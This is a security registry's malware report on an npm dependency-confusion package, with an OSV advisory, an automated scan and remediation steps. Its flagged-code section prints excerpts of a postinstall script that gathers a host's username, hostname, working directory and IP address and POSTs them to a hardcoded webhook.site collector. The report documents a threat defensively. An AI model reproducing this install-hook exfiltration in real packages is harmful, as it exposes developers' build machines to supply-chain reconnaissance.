registry / Malware / titan-exchange-shared-permissions

titan-exchange-shared-permissions

This report shows the evidence for titan-exchange-shared-permissions@99.9.9. 1 of 2 known versions is blocked or flagged. The newest version, 99.9.12, is flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

OpenSSF/OSV Malicious Advisory

imported 3mo ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13664 confirms this npm version as malicious.

Advisory

MAL-2026-13664

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in titan-exchange-shared-permissions (npm)

Details

titan-exchange-shared-permissions@99.9.9 is a dependency-confusion reconnaissance package. package.json declares a postinstall script (`node index.js`) that runs automatically on `npm install`; index.js collects the installer's OS username (os.userInfo().username), hostname (os.hostname()), current working directory, and non-internal IPv4 address (from os.networkInterfaces()) and POSTs them as JSON via https.request to the hardcoded collector https://webhook.site/452b7e38-183d-4652-847d-0f2fa05b9389. The package name is styled to resemble a private internal scope, is published at version 99.9.9, and ships with empty description/author/license and no other functionality — the canonical namesquat/dependency-confusion probe shape used to identify build systems that resolve a private name to the public registry.

References

OpenSSF/OSV advisory PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

The lifecycle hook and exfiltration intent are suspicious, but the only payload is non-executable due to clear syntax errors. Treat it as an inert payload carrier and warn rather than block.

Static reason

One or more suspicious static signals were detected.

Trigger

npm postinstall invokes node index.js

Impact

If repaired, it would disclose local user, host, path, and IPv4 metadata; as shipped it fails at parse time.

Mechanism

attempted host fingerprint collection and HTTPS webhook exfiltration

AI rationale

The lifecycle hook and exfiltration intent are suspicious, but the only payload is non-executable due to clear syntax errors. Treat it as an inert payload carrier and warn rather than block.

Evidence

package.jsonindex.js

Network endpoints1

webhook.site/452b7e38-183d-4652-847d-0f2fa05b9389

Independent scan evidence

public snapshot

AI called this Suspicious at 96.0% confidence as Dangerous Capability with low false-positive risk.

Evidence for AI warning decision

package.json:10 runs index.js during postinstall.
index.js:25-31 collects username, working directory, hostname, and local IPv4.
index.js:33-43 attempts an HTTPS POST to webhook.site.

Evidence against

index.js is syntactically invalid: a const declaration appears inside an unclosed JSON object.
The malformed file cannot execute its POST during postinstall as provided.
Only package files are package.json and index.js; no payload or persistence code found.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 700 B of source, external domains: webhook.site

Source & flagged code

3 flagged

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

2L3: const https = require('https'); L4: ... L6: L7: const nets = os.networkInterfaces(); L8: ... L26: L27: cwd: process.env.INIT_CMD || process.cwd(), L28: L29: hostname: os.hostname(), L30: ... L40:

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L2

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> index.js const https = require('https'); const payload = JSON.stringify({ const req = https.request( 'https://webhook.site/452b7e38-183d-4652-847d-0f2fa05b9389' { method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) } } req.write(payload);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

Source & flagged code

3 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L2

Findings

3 High2 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

HighTrigger Reachable External Post Callbackindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to titan-exchange-shared-permissions@99.9.9.

The versions list below shows the verdict for each recorded version.

Avoid installing titan-exchange-shared-permissions@99.9.9. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-08 01:20:07.616Z (UTC).

Source advisory published: 2026-08-08 00:52:01.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

99.9.12latestSuspiciousStaged Payload CarrierWarnPublishedAug 9, 2026, 10:09 PM 99.9.9shownMaliciousMalwareBlockPublishedAug 7, 2026, 8:49 PM

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Source & flagged code

Related packages

Other malware packages